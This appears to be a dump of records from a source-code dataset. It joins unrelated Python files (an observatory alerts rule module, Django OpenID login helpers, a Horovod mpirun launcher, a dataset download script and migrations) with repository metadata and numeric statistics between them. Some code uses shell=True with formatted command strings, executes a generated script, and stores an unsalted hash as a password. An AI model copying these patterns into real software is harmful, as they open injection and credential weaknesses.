writer.writerow([district_name, region, room_type, area, price, unit_price, tax, orientation, decoration, elevator, floor, year, slab_tower]) # break # break # break f.close()

50.147826

157

0.521935

693

5,767

4.248196

0.262626

0.039742

0.033628

0.038043

0.284986

0.261889

0.210258

0.173913

0.149457

0

0.010304

0.32686

5,767

114

158

50.587719

0.748068

0.133345

0

0.085106

0

0.088585

0

null

0

0.042553

null

0.031915

0

null

0

null

0

1

0

1

f209fda8f0cfe43f72b6eb3a30447ef4d992f64f

6,764

py

Python

python/alertsActor/rules/dangerKey.py

sdss/twistedAlertsActor

857588f6da39b7716263f8bd8e3f1be8bb4ce0f7

[ "BSD-3-Clause" ]

null

python/alertsActor/rules/dangerKey.py

sdss/twistedAlertsActor

857588f6da39b7716263f8bd8e3f1be8bb4ce0f7

[ "BSD-3-Clause" ]

null

python/alertsActor/rules/dangerKey.py

sdss/twistedAlertsActor

857588f6da39b7716263f8bd8e3f1be8bb4ce0f7

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # encoding: utf-8 # # dangerKey.py # # Created by John Donor on 10 April 2019 import re, time from yaml import YAMLObject from alertsActor import log class diskCheck(YAMLObject): """evaluate a disk keyword """ def __init__(self): pass def __call__(self, keyState): """The keyval is an enum ('Ok','Warning','Serious','Critical') and the amount of free space (GB) """ keyval = keyState.keyword if (keyval[0]).upper() == 'OK': return "ok" elif (keyval[0]).upper() == 'WARNING': return "warn" elif (keyval[0]).upper() == 'SERIOUS': return "serious" elif (keyval[0]).upper() == 'CRITICAL': return "critical" else: return "info" class doNothing(object): """camcheck alerts can't check themselves dummy class to facilitate that """ def __init__(self): pass def __call__(self, keyState): return keyState.severity class camCheck(YAMLObject): """evaluate a camCheck alert """ def __init__(self): # NEVER GETS CALLED!!!! -_- pass def generateCamCheckAlert(self, key, severity): inst = key[:3] side = key[3] key = "camCheck." + key instruments = ["boss"] # most keywords will be SP[12][RB] # check if they are and assign appropriate instruments if inst in ["SP1", "SP2"]: instruments.append("boss.{}".format(inst)) if side in ["R", "B"]: instruments.append("boss.{}.{}".format(inst, side)) if severity in ["critical", "serious"]: selfClear = False addresses = self.emailAddresses else: selfClear = True addresses = None if key not in self.triggered: self.triggered.append(key) if key not in self.alertsActor.monitoring: dumbCheck = doNothing() self.alertsActor.addKey(key, severity=severity, checkAfter=120, selfClear=selfClear, checker=dumbCheck, keyword="'Reported by camCheck'", instruments=instruments, emailAddresses=addresses, emailDelay=0) if self.alertsActor.monitoring[key].active: self.alertsActor.monitoring[key].stampTime() else: self.alertsActor.monitoring[key].setActive(severity) def __call__(self, keyState): keyval = keyState.keyword if self.alertsActor is None: print("setting alertsActor for camCheck!!") self.alertsActor = keyState.alertsActorReference # do this only once hopefully for i in ["boss.SP1", "boss.SP2", "boss.SP1.R", "boss.SP2.R", "boss.SP1.B", "boss.SP2.B"]: self.alertsActor.instrumentDown[i] = False # print("CAMCHECK, len {}, type {}, key: {}".format(len(keyval), type(keyval), keyval)) log.info('CAMCHECK reported {}'.format(keyval)) if type(keyval) == str: # could possibly try to fix this in hubModel casts, but easier here keyval = [keyval] if len(keyval) == 1 and keyval[0] == "None": # this is a bug somewhere upstream keyval = [] for k in keyval: if re.search(r"SP[12][RB][0-3]?CCDTemp", k): self.generateCamCheckAlert(k, "critical") elif re.search(r"SP[12]SecondaryDewarPress", k): self.generateCamCheckAlert(k, "critical") elif re.search(r"SP[12](DAQ|Mech|Micro)NotTalking", k): self.generateCamCheckAlert(k, "critical") elif re.search(r"DACS_SET", k): self.generateCamCheckAlert(k, "critical") elif re.search(r"SP[12]LN2Fill", k): self.generateCamCheckAlert(k, "serious") elif re.search(r"SP[12](Exec|Phase)Boot", k): self.generateCamCheckAlert(k, "serious") else: self.generateCamCheckAlert(k, "warn") for k in self.triggered: if k.split(".")[-1] not in keyval: # b/c we know its camCheck already self.alertsActor.monitoring[k].severity = "ok" # now it can check itself and find out its cool # and then decide to disappear if its acknowledged, etc etc self.alertsActor.monitoring[k].checkKey() self.triggered.remove(k) # never flag camCheck, always monitored keys return "ok" class heartbeatCheck(YAMLObject): """check a heartbeat. """ def __init__(self): pass def __call__(self, keyState): if time.time() - keyState.lastalive < keyState.checkAfter: return "ok" elif time.time() - keyState.lastalive > 5*keyState.checkAfter: return "critical" else: return keyState.defaultSeverity class above(YAMLObject): """literally: is the value too high """ def __init__(self): pass def __call__(self, keyState): if keyState.keyword > keyState.dangerVal: return keyState.defaultSeverity else: return "ok" class below(YAMLObject): """literally: is the value too low """ def __init__(self): pass def __call__(self, keyState): if keyState.keyword < keyState.dangerVal: return keyState.defaultSeverity else: return "ok" class neq(YAMLObject): """literally: is the value too low """ def __init__(self): pass def __call__(self, keyState): if keyState.keyword != keyState.dangerVal: return keyState.defaultSeverity else: return "ok" class inList(YAMLObject): """is any value in the list "True", e.g. flagged """ def __init__(self): pass def __call__(self, keyState): if [k for k in keyState.keyword if k]: return keyState.defaultSeverity else: return "ok" class firstElem(YAMLObject): """is any value in the list "True", e.g. flagged """ def __init__(self): pass def __call__(self, keyState): if keyState.keyword[0] == keyState.dangerVal: return keyState.defaultSeverity else: return "ok" class default(object): """check equality to a dangerval """ def __init__(self): pass def __call__(self, keyState): if keyState.keyword == keyState.dangerVal: return keyState.defaultSeverity else: return "ok"

29.797357

95

0.563128

725

6,764

5.14069

0.286897

0.018782

0.029514

0.050979

0.356587

0.310706

0.297558

0.285216

0.266971

0.227529

0

0.009864

0.325547

6,764

226

96

29.929204

0.807102

0.161295

0

0.458904

0

0.078607

0.018306

0

1

0.143836

false

0.068493

0.020548

0.006849

0.383562

0.006849

0

null

0

null

0

1

0

1

f20a9c6a0a0f41308a9f256ea4ec3d2997af5cd5

6,388

py

Python

eruditio/shared_apps/django_community/utils.py

genghisu/eruditio

5f8f3b682ac28fd3f464e7a993c3988c1a49eb02

[ "BSD-3-Clause", "MIT" ]

null

eruditio/shared_apps/django_community/utils.py

genghisu/eruditio

5f8f3b682ac28fd3f464e7a993c3988c1a49eb02

[ "BSD-3-Clause", "MIT" ]

null

eruditio/shared_apps/django_community/utils.py

genghisu/eruditio

5f8f3b682ac28fd3f464e7a993c3988c1a49eb02

[ "BSD-3-Clause", "MIT" ]

null

""" Various utilities functions used by django_community and other apps to perform authentication related tasks. """ import hashlib, re import django.forms as forms from django.core.exceptions import ObjectDoesNotExist from django.forms import ValidationError import django.http as http from django.conf import settings from django.contrib.contenttypes.models import ContentType from django.contrib.contenttypes import generic from django.contrib.auth import logout as auth_logout from django.core.urlresolvers import reverse from django.contrib.auth.models import User from django.contrib.auth import authenticate, login from django_community.models import UserOpenID, UserProfile def openid_logout(request): """ Clears session which effectively logs out the current OpenId user. """ request.session.flush() def handle_logout(request): """ Log out. """ auth_logout(request) def get_logged_user(request): """ Returns the current user who is logged in, checks for openid user first, then for regular user, return None if no user is currently logged in """ if settings.OPENID_ENABLED and hasattr(request, 'openid'): user = UserOpenID.objects.get_for_openid(request, request.openid) if not user: user = request.user return user def handle_login(request, data): """ Logs the user in based on form data from django_community.LoginForm. """ user = authenticate(username = data.get('username', None), password = data.get('password', None)) user_object = User.objects.get(username = data.get('username', None)) if user is not None: login(request, user) return user def handle_signup(request, data): """ Signs a user up based on form data from django_community.SignupForm. """ from django.contrib.auth.models import get_hexdigest username = data.get('username', None) email = data.get('email', None) password = data.get('password', None) try: user = User.objects.get(username = username, email = email) except ObjectDoesNotExist: user = User(username = username, email = email) user.save() user.set_password(password) user_profile = UserProfile.objects.get_user_profile(user) user = authenticate(username = username, password = password) login(request, user) return user def get_or_create_from_openid(openid): """ Returns an User with the given openid or creates a new user and associates openid with that user. """ try: user = User.objects.get(username = openid) except ObjectDoesNotExist: password = hashlib.sha256(openid).hexdigest() user = User(username = openid, email = '', password = password) user.save() user.display_name = "%s_%s" % ('user', str(user.id)) user.save() return user def generate_random_user_name(): """ Generates a random user name user_{user_id}_{salt} to be used for creating new users. """ import random current_users = User.objects.all().order_by('-id') if current_users: next_id = current_users[0].id + 1 else: next_id = 1 random_salt = random.randint(1, 5000) return 'user_%s_%s' % (str(next_id), str(random_salt)) def create_user_from_openid(request, openid): """ Creates a new User object associated with the given openid. """ from django_community.config import OPENID_FIELD_MAPPING from django_utils.request_helpers import get_ip username = generate_random_user_name() profile_attributes = {} for attribute in OPENID_FIELD_MAPPING.keys(): mapped_attribute = OPENID_FIELD_MAPPING[attribute] if openid.sreg and openid.sreg.get(attribute, ''): profile_attributes[mapped_attribute] = openid.sreg.get(attribute, '') new_user = User(username = username) new_user.save() new_openid = UserOpenID(openid = openid.openid, user = new_user) new_openid.save() new_user_profile = UserProfile.objects.get_user_profile(new_user) for filled_attribute in profile_attributes.keys(): setattr(new_user, filled_attribute, profile_attributes[filled_attribute]) new_user_profile.save() return new_user def get_anon_user(request): """ Returns an anonmymous user corresponding to this IP address if one exists. Else create an anonymous user and return it. """ try: anon_user = User.objects.get(username = generate_anon_user_name(request)) except ObjectDoesNotExist: anon_user = create_anon_user(request) return anon_user def create_anon_user(request): """ Creates a new anonymous user based on the ip provided by the request object. """ anon_user_name = generate_anon_user_name(request) anon_user = User(username = anon_user_name) anon_user.save() user_profile = UserProfile(user = anon_user, display_name = 'anonymous') user_profile.save() return anon_user def generate_anon_user_name(request): """ Generate an anonymous user name based on and ip address. """ from django_utils.request_helpers import get_ip ip = get_ip(request) return "anon_user_%s" % (str(ip)) def is_anon_user(user): """ Determine if an user is anonymous or not. """ return user.username[0:10] == 'anon_user_' def is_random(name): """ Determine if a user has a randomly generated display name. """ if len(name.split('_')) and name.startswith('user'): return True else: return False def process_ax_data(user, ax_data): """ Process OpenID AX data. """ import django_openidconsumer.config emails = ax_data.get(django_openidconsumer.config.URI_GROUPS.get('email').get('type_uri', ''), '') display_names = ax_data.get(django_openidconsumer.config.URI_GROUPS.get('alias').get('type_uri', ''), '') if emails and not user.email.strip(): user.email = emails[0] user.save() if not user.profile.display_name.strip() or is_random(user.profile.display_name): if display_names: user.profile.display_name = display_names[0] elif emails: user.profile.display_name = emails[0].split('@')[0] user.profile.save()

32.262626

109

0.681277

825

6,388

5.100606

0.207273

0.034221

0.02424

0.019962

0.201046

0.144487

0.077947

0.04135

0.022338

0

0.003627

0.223075

6,388

198

110

32.262626

0.844247

0.170319

0

0.184874

0

0.026904

0

1

0.117647

false

0.05042

0.159664

0

0.378151

0

null

0

null

0

1

0

1

f20f3b3cdb095ea301a3efa6ea5c8c922e9be8db

640

py

Python

ghiaseddin/scripts/download-dataset-lfw10.py

yassersouri/ghiaseddin

a575f2375729e7586ae7c682f8505dbb7619e622

[ "MIT" ]

44

2016-09-07T11:04:10.000Z

2022-03-14T07:38:17.000Z

ghiaseddin/scripts/download-dataset-lfw10.py

yassersouri/ghiaseddin

a575f2375729e7586ae7c682f8505dbb7619e622

[ "MIT" ]

1

2016-09-06T23:33:54.000Z

ghiaseddin/scripts/download-dataset-lfw10.py

yassersouri/ghiaseddin

a575f2375729e7586ae7c682f8505dbb7619e622

[ "MIT" ]

13

2016-09-17T15:31:06.000Z

2021-05-22T07:28:46.000Z

from subprocess import call import os import sys sys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir)) import settings data_zip_path = os.path.join(settings.lfw10_root, "LFW10.zip") data_url = "http://cvit.iiit.ac.in/images/Projects/relativeParts/LFW10.zip" # Downloading the data zip and extracting it call(["wget", "--continue", # do not download things again "--tries=0", # try many times to finish the download "--output-document=%s" % data_zip_path, # save it to the appropriate place data_url]) call(["unzip -d %s %s" % (settings.lfw10_root, data_zip_path)], shell=True)

33.684211

85

0.714063

99

640

4.474747

0.565657

0.054176

0.074492

0

0.016484

0.146875

640

18

86

35.555556

0.794872

0.221875

0

0.259635

0

1

0

false

0

0.307692

0

0.307692

0

null

0

null

0

1

0

1

f210443ae14873f6d0154e4872180eb345a39221

9,874

py

Python

hops/dist_allreduce.py

Limmen/hops-util-py

99263edcd052dbb554f0cde944fbdc748dc95f06

[ "Apache-2.0" ]

null

hops/dist_allreduce.py

Limmen/hops-util-py

99263edcd052dbb554f0cde944fbdc748dc95f06

[ "Apache-2.0" ]

null

hops/dist_allreduce.py

Limmen/hops-util-py

99263edcd052dbb554f0cde944fbdc748dc95f06

[ "Apache-2.0" ]

null

""" Utility functions to retrieve information about available services and setting up security for the Hops platform. These utils facilitates development by hiding complexity for programs interacting with Hops services. """ import pydoop.hdfs import subprocess import os import stat import sys import threading import time import socket from hops import hdfs as hopshdfs from hops import tensorboard from hops import devices from hops import util import coordination_server run_id = 0 def launch(spark_session, notebook): """ Run notebook pointed to in HopsFS as a python file in mpirun Args: :spark_session: SparkSession object :notebook: The path in HopsFS to the notebook """ global run_id print('\nStarting TensorFlow job, follow your progress on TensorBoard in Jupyter UI! \n') sys.stdout.flush() sc = spark_session.sparkContext app_id = str(sc.applicationId) conf_num = int(sc._conf.get("spark.executor.instances")) #Each TF task should be run on 1 executor nodeRDD = sc.parallelize(range(conf_num), conf_num) server = coordination_server.Server(conf_num) server_addr = server.start() #Force execution on executor, since GPU is located on executor nodeRDD.foreachPartition(prepare_func(app_id, run_id, notebook, server_addr)) print('Finished TensorFlow job \n') print('Make sure to check /Logs/TensorFlow/' + app_id + '/runId.' + str(run_id) + ' for logfile and TensorBoard logdir') def get_logdir(app_id): global run_id return hopshdfs.project_path() + '/Logs/TensorFlow/' + app_id + '/horovod/run.' + str(run_id) def prepare_func(app_id, run_id, nb_path, server_addr): def _wrapper_fun(iter): for i in iter: executor_num = i client = coordination_server.Client(server_addr) node_meta = {'host': get_ip_address(), 'executor_cwd': os.getcwd(), 'cuda_visible_devices_ordinals': devices.get_minor_gpu_device_numbers()} client.register(node_meta) t_gpus = threading.Thread(target=devices.print_periodic_gpu_utilization) if devices.get_num_gpus() > 0: t_gpus.start() # Only spark executor with index 0 should create necessary HDFS directories and start mpirun # Other executors simply block until index 0 reports mpirun is finished clusterspec = client.await_reservations() #pydoop.hdfs.dump('', os.environ['EXEC_LOGFILE'], user=hopshdfs.project_user()) #hopshdfs.init_logger() #hopshdfs.log('Starting Spark executor with arguments') gpu_str = '\n\nChecking for GPUs in the environment\n' + devices.get_gpu_info() #hopshdfs.log(gpu_str) print(gpu_str) mpi_logfile_path = os.getcwd() + '/mpirun.log' if os.path.exists(mpi_logfile_path): os.remove(mpi_logfile_path) mpi_logfile = open(mpi_logfile_path, 'w') py_runnable = localize_scripts(nb_path, clusterspec) # non-chief executor should not do mpirun if not executor_num == 0: client.await_mpirun_finished() else: hdfs_exec_logdir, hdfs_appid_logdir = hopshdfs.create_directories(app_id, run_id, param_string='Horovod') tb_hdfs_path, tb_pid = tensorboard.register(hdfs_exec_logdir, hdfs_appid_logdir, 0) mpi_cmd = 'HOROVOD_TIMELINE=' + tensorboard.logdir() + '/timeline.json' + \ ' TENSORBOARD_LOGDIR=' + tensorboard.logdir() + \ ' mpirun -np ' + str(get_num_ps(clusterspec)) + ' --hostfile ' + get_hosts_file(clusterspec) + \ ' -bind-to none -map-by slot ' + \ ' -x LD_LIBRARY_PATH ' + \ ' -x HOROVOD_TIMELINE ' + \ ' -x TENSORBOARD_LOGDIR ' + \ ' -x NCCL_DEBUG=INFO ' + \ ' -mca pml ob1 -mca btl ^openib ' + \ os.environ['PYSPARK_PYTHON'] + ' ' + py_runnable mpi = subprocess.Popen(mpi_cmd, shell=True, stdout=mpi_logfile, stderr=mpi_logfile, preexec_fn=util.on_executor_exit('SIGTERM')) t_log = threading.Thread(target=print_log) t_log.start() mpi.wait() client.register_mpirun_finished() if devices.get_num_gpus() > 0: t_gpus.do_run = False t_gpus.join() return_code = mpi.returncode if return_code != 0: cleanup(tb_hdfs_path) t_log.do_run = False t_log.join() raise Exception('mpirun FAILED, look in the logs for the error') cleanup(tb_hdfs_path) t_log.do_run = False t_log.join() return _wrapper_fun def print_log(): mpi_logfile_path = os.getcwd() + '/mpirun.log' mpi_logfile = open(mpi_logfile_path, 'r') t = threading.currentThread() while getattr(t, "do_run", True): where = mpi_logfile.tell() line = mpi_logfile.readline() if not line: time.sleep(1) mpi_logfile.seek(where) else: print line # Get the last outputs line = mpi_logfile.readline() while line: where = mpi_logfile.tell() print line line = mpi_logfile.readline() mpi_logfile.seek(where) def cleanup(tb_hdfs_path): hopshdfs.log('Performing cleanup') handle = hopshdfs.get() if not tb_hdfs_path == None and not tb_hdfs_path == '' and handle.exists(tb_hdfs_path): handle.delete(tb_hdfs_path) hopshdfs.kill_logger() def get_ip_address(): """Simple utility to get host IP address""" s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) return s.getsockname()[0] def get_hosts_string(clusterspec): hosts_string = '' for host in clusterspec: hosts_string = hosts_string + ' ' + host['host'] + ':' + str(len(host['cuda_visible_devices_ordinals'])) def get_num_ps(clusterspec): num = 0 for host in clusterspec: num += len(host['cuda_visible_devices_ordinals']) return num def get_hosts_file(clusterspec): hf = '' host_file = os.getcwd() + '/host_file' for host in clusterspec: hf = hf + '\n' + host['host'] + ' ' + 'slots=' + str(len(host['cuda_visible_devices_ordinals'])) with open(host_file, 'w') as hostfile: hostfile.write(hf) return host_file def find_host_in_clusterspec(clusterspec, host): for h in clusterspec: if h['name'] == host: return h # The code generated by this function will be called in an eval, which changes the working_dir and cuda_visible_devices for process running mpirun def generate_environment_script(clusterspec): import_script = 'import os \n' \ 'from hops import util' export_script = '' for host in clusterspec: export_script += 'def export_workdir():\n' \ ' if util.get_ip_address() == \"' + find_host_in_clusterspec(clusterspec, host['host'])['host'] + '\":\n' \ ' os.chdir=\"' + host['executor_cwd'] + '\"\n' \ ' os.environ["CUDA_DEVICE_ORDER"]=\"PCI_BUS_ID\" \n' \ ' os.environ["CUDA_VISIBLE_DEVICES"]=\"' + ",".join(str(x) for x in host['cuda_visible_devices_ordinals']) + '\"\n' return import_script + '\n' + export_script def localize_scripts(nb_path, clusterspec): # 1. Download the notebook as a string fs_handle = hopshdfs.get_fs() fd = fs_handle.open_file(nb_path, flags='r') note = fd.read() fd.close() path, filename = os.path.split(nb_path) f_nb = open(filename,"w+") f_nb.write(note) f_nb.flush() f_nb.close() # 2. Convert notebook to py file jupyter_runnable = os.path.abspath(os.path.join(os.environ['PYSPARK_PYTHON'], os.pardir)) + '/jupyter' conversion_cmd = jupyter_runnable + ' nbconvert --to python ' + filename conversion = subprocess.Popen(conversion_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) conversion.wait() stdout, stderr = conversion.communicate() print(stdout) print(stderr) # 3. Prepend script to export environment variables and Make py file runnable py_runnable = os.getcwd() + '/' + filename.split('.')[0] + '.py' notebook = 'with open("generate_env.py", "r") as myfile:\n' \ ' data=myfile.read()\n' \ ' exec(data)\n' with open(py_runnable, 'r') as original: data = original.read() with open(py_runnable, 'w') as modified: modified.write(notebook + data) st = os.stat(py_runnable) os.chmod(py_runnable, st.st_mode | stat.S_IEXEC) # 4. Localize generate_env.py script environment_script = generate_environment_script(clusterspec) generate_env_path = os.getcwd() + '/generate_env.py' f_env = open(generate_env_path, "w+") f_env.write(environment_script) f_env.flush() f_env.close() # 5. Make generate_env.py runnable st = os.stat(generate_env_path) os.chmod(py_runnable, st.st_mode | stat.S_IEXEC) return py_runnable

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1

f218482525c6f07411100d66a18c105ea0a2d6c8

926

py

Python

samples/noxfile_config.py

ikuleshov/python-analytics-admin

f3d6fa78292878e7470806be0c116c6ca589eec5

[ "Apache-2.0" ]

null

samples/noxfile_config.py

ikuleshov/python-analytics-admin

f3d6fa78292878e7470806be0c116c6ca589eec5

[ "Apache-2.0" ]

null

samples/noxfile_config.py

ikuleshov/python-analytics-admin

f3d6fa78292878e7470806be0c116c6ca589eec5

[ "Apache-2.0" ]

null

TEST_CONFIG_OVERRIDE = { # An envvar key for determining the project id to use. Change it # to 'BUILD_SPECIFIC_GCLOUD_PROJECT' if you want to opt in using a # build specific Cloud project. You can also use your own string # to use your own Cloud project. "gcloud_project_env": "BUILD_SPECIFIC_GCLOUD_PROJECT", # 'gcloud_project_env': 'BUILD_SPECIFIC_GCLOUD_PROJECT', # A dictionary you want to inject into your test. Don't put any # secrets here. These values will override predefined values. "envs": { "GA_TEST_PROPERTY_ID": "276206997", "GA_TEST_ACCOUNT_ID": "199820965", "GA_TEST_USER_LINK_ID": "103401743041912607932", "GA_TEST_PROPERTY_USER_LINK_ID": "105231969274497648555", "GA_TEST_ANDROID_APP_DATA_STREAM_ID": "2828100949", "GA_TEST_IOS_APP_DATA_STREAM_ID": "2828089289", "GA_TEST_WEB_DATA_STREAM_ID": "2828068992", }, }

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f21a51bd13a2f891e2303ec8e105009193f93ecb

422

py

Python

saleor/unurshop/crawler/migrations/0013_auto_20210921_0452.py

nlkhagva/saleor

0d75807d08ac49afcc904733724ac870e8359c10

[ "CC-BY-4.0" ]

null

saleor/unurshop/crawler/migrations/0013_auto_20210921_0452.py

nlkhagva/saleor

0d75807d08ac49afcc904733724ac870e8359c10

[ "CC-BY-4.0" ]

1

2022-02-15T03:31:12.000Z

saleor/unurshop/crawler/migrations/0013_auto_20210921_0452.py

nlkhagva/ushop

abf637eb6f7224e2d65d62d72a0c15139c64bb39

[ "CC-BY-4.0" ]

null

# Generated by Django 3.1.1 on 2021-09-21 04:52 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('crawler', '0012_auto_20210921_0451'), ] operations = [ migrations.AlterField( model_name='crawlerline', name='ustatus', field=models.PositiveIntegerField(blank=True, default=1, null=True), ), ]

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null

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1eec0296b555ebcc98cbc7b360b616946e53db82

941

py

Python

manabi/apps/flashcards/permissions.py

aehlke/manabi

1dfdd4ecb9c1214b6a70268be0dcfeda9da8754b

[ "MIT" ]

14

2015-10-03T07:34:28.000Z

2021-09-20T07:10:29.000Z

manabi/apps/flashcards/permissions.py

aehlke/manabi

1dfdd4ecb9c1214b6a70268be0dcfeda9da8754b

[ "MIT" ]

23

2019-10-25T08:47:23.000Z

2022-01-30T02:00:45.000Z

manabi/apps/flashcards/permissions.py

aehlke/manabi

1dfdd4ecb9c1214b6a70268be0dcfeda9da8754b

[ "MIT" ]

7

2016-10-04T08:10:36.000Z

2021-09-20T07:10:33.000Z

from django.shortcuts import get_object_or_404 from rest_framework import permissions from manabi.apps.flashcards.models import Deck WRITE_ACTIONS = ['create', 'update', 'partial_update', 'delete'] class DeckSynchronizationPermission(permissions.BasePermission): message = "You don't have permission to add this deck to your library." def has_permission(self, request, view): if view.action in WRITE_ACTIONS: upstream_deck = get_object_or_404( Deck, pk=request.data['synchronized_with']) return upstream_deck.shared return True class IsOwnerPermission(permissions.BasePermission): message = "You don't own this." def has_object_permission(self, request, view, obj): if view.action in WRITE_ACTIONS: return ( request.user.is_authenticated and obj.owner.pk == request.user.pk ) return True

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1eef8337b3089adedce496c555766805e7a14c76

365

py

Python

Scripts/create_phone_number.py

yogeshwaran01/Mini-Projects

c1a8790079d904405d49c71d6903ca4daaa77b38

[ "MIT" ]

4

2020-09-30T17:18:13.000Z

2021-06-11T21:02:10.000Z

Scripts/create_phone_number.py

yogeshwaran01/Mini-Projects

c1a8790079d904405d49c71d6903ca4daaa77b38

[ "MIT" ]

null

Scripts/create_phone_number.py

yogeshwaran01/Mini-Projects

c1a8790079d904405d49c71d6903ca4daaa77b38

[ "MIT" ]

1

2021-04-02T14:51:00.000Z

""" Function convert lists of 10 elements into in the format of phone number Example, (123) 456-789 """ def create_phone_number(n: list) -> str: """ >>> create_phone_number([1,2,3,4,5,6,7,8,9,0]) '(123) 456-7890' """ return "({}{}{}) {}{}{}-{}{}{}{}".format(*n) if __name__ == "__main__": import doctest doctest.testmod()

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1ef2ba31fbb403bcb4ce6125ac2b8a6fd53306d0

527

py

Python

src/tests/flow.py

SeleSchaefer/super_resolution

bf28a959fb150ceeadbd9f0bcfc12f3025cf82f4

[ "MIT" ]

5

2019-11-11T10:01:52.000Z

2020-12-08T11:56:33.000Z

src/tests/flow.py

SeleSchaefer/super_resolution

bf28a959fb150ceeadbd9f0bcfc12f3025cf82f4

[ "MIT" ]

1

2020-06-13T06:39:44.000Z

src/tests/flow.py

SeleSchaefer/super_resolution

bf28a959fb150ceeadbd9f0bcfc12f3025cf82f4

[ "MIT" ]

1

2020-07-16T23:07:28.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import cv2 import imageio import numpy as np from tar.miscellaneous import convert_flow_to_color prev = imageio.imread("ressources/1_1.png") prev = cv2.cvtColor(prev, cv2.COLOR_RGB2GRAY) curr = imageio.imread("ressources/1_2.png") curr = cv2.cvtColor(curr, cv2.COLOR_RGB2GRAY) flow = cv2.calcOpticalFlowFarneback(prev, curr, None, 0.9, 15, 20, 100, 10, 1.5, cv2.OPTFLOW_FARNEBACK_GAUSSIAN) rgb = convert_flow_to_color(flow) imageio.imsave("/Users/sele/Desktop/test.png", rgb)

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null

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1ef4bd40a0edef859ca09644504d0ac02de309a6

746

py

Python

post/migrations/0009_auto_20171207_2320.py

silvareal/personal-blog

9ed8ac48864510cd5b3227b7b0f7d335beb648de

[ "MIT" ]

2

2018-03-15T16:53:11.000Z

2020-01-17T15:56:33.000Z

post/migrations/0009_auto_20171207_2320.py

silvareal/personal-blog

9ed8ac48864510cd5b3227b7b0f7d335beb648de

[ "MIT" ]

null

post/migrations/0009_auto_20171207_2320.py

silvareal/personal-blog

9ed8ac48864510cd5b3227b7b0f7d335beb648de

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2017-12-07 22:20 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('post', '0008_auto_20171207_2256'), ] operations = [ migrations.RemoveField( model_name='post', name='category', ), migrations.AddField( model_name='post', name='category', field=models.CharField(choices=[('frontend', 'Frontend'), ('backend', 'Backend'), ('interview', 'Interview'), ('devop', 'Devop')], default='backend', max_length=15), ), migrations.DeleteModel( name='Category', ), ]

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null

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1

1ef930c42df2781ea2ef6709774093b794cfc83e

3,081

py

Python

testing/tests/registers.py

Wynjones1/gbvhdl

46cef04cef308967ea4764eeeaf7d611dc783ae4

[ "MIT" ]

null

testing/tests/registers.py

Wynjones1/gbvhdl

46cef04cef308967ea4764eeeaf7d611dc783ae4

[ "MIT" ]

null

testing/tests/registers.py

Wynjones1/gbvhdl

46cef04cef308967ea4764eeeaf7d611dc783ae4

[ "MIT" ]

null

#!/usr/bin/env python2.7 from common import * from random import randint, choice registers = {\ "a" : int("0000", 2), "f" : int("0001", 2), "b" : int("0010", 2), "c" : int("0011", 2), "d" : int("0100", 2), "e" : int("0101", 2), "h" : int("0110", 2), "l" : int("0111", 2), "af" : int("1000", 2), "bc" : int("1001", 2), "de" : int("1010", 2), "hl" : int("1011", 2), "sp" : int("1100", 2), "pc" : int("1101", 2), } def output_line(fp, reg_write, reg_read, we, write_data, read_data, reg_w_name, reg_r_name): fp.write("%s %s %s %s %s #%s %s\n" % (to_bin(reg_write, 4), to_bin(reg_read, 4), "1" if we else "0", to_bin(write_data, 16), to_bin(read_data, 16), reg_w_name, reg_r_name)) class Registers(object): def __init__(self): self.regs = [0] * 8 self.sp = 0 self.pc = 0 def write(self, reg, value): if reg == "af": self.regs[registers["a"]] = (value >> 8) & 0xff self.regs[registers["f"]] = (value >> 0) & 0xff elif reg == "bc": self.regs[registers["b"]] = (value >> 8) & 0xff self.regs[registers["c"]] = (value >> 0) & 0xff elif reg == "de": self.regs[registers["d"]] = (value >> 8) & 0xff self.regs[registers["e"]] = (value >> 0) & 0xff elif reg == "hl": self.regs[registers["h"]] = (value >> 8) & 0xff self.regs[registers["l"]] = (value >> 0) & 0xff elif reg == "sp": self.sp = value elif reg == "pc": self.pc = value else: self.regs[registers[reg]] = (value) & 0xff def read(self, reg): if reg == "af": return self.regs[registers["a"]] << 8 | self.regs[registers["f"]]; elif reg == "bc": return self.regs[registers["b"]] << 8 | self.regs[registers["c"]]; elif reg == "de": return self.regs[registers["d"]] << 8 | self.regs[registers["e"]]; elif reg == "hl": return self.regs[registers["h"]] << 8 | self.regs[registers["l"]]; elif reg == "sp": return self.sp elif reg == "pc": return self.pc else: return self.regs[registers[reg]]; def random_op(self): we = randint(0, 1) reg_write = choice(registers.keys()) reg_read = choice(registers.keys()) write_data = randint(0, 0xffff) read_data = self.read(reg_read) if we: self.write(reg_write, write_data) return (registers[reg_write], registers[reg_read], we, write_data, read_data, reg_write, reg_read) def main(): fp = open("registers.txt", "w") reg = Registers() m = 1000000 for i in xrange(m): if i % 10000 == 0: f = 100 * float(i) / float(m) print("%s" % f) output_line(fp, *reg.random_op()) if __name__ == "__main__": main()

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1

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null

0

1

1efa2e6d895702b8d443cbba288ae926b3327dee

290

py

Python

DiscordRPC/__init__.py

EterNomm/discord-rpc

86bdf35a75df9ab8971763042d19f2f820e08a51

[ "Apache-2.0" ]

4

2021-12-13T13:26:00.000Z

2022-02-20T17:11:19.000Z

DiscordRPC/__init__.py

LyQuid12/discord-rpc

86bdf35a75df9ab8971763042d19f2f820e08a51

[ "Apache-2.0" ]

null

DiscordRPC/__init__.py

LyQuid12/discord-rpc

86bdf35a75df9ab8971763042d19f2f820e08a51

[ "Apache-2.0" ]

null

from .presence import * from .button import button from .exceptions import * #from .get_current_app import GCAR (Disabling due to a bug) __title__ = "Discord-RPC" __version__ = "3.5" __authors__ = "LyQuid" __license__ = "Apache License 2.0" __copyright__ = "Copyright 2021-present LyQuid"

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0.375

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null

0

null

0

1

0

1

1efbf1d335ee13e467149f16bec6b633d71434fe

1,314

py

Python

src/graph/cli/server.py

clayman-micro/graph

742015c276f89841310794e952280a06c24fe8ef

[ "MIT" ]

null

src/graph/cli/server.py

clayman-micro/graph

742015c276f89841310794e952280a06c24fe8ef

[ "MIT" ]

null

src/graph/cli/server.py

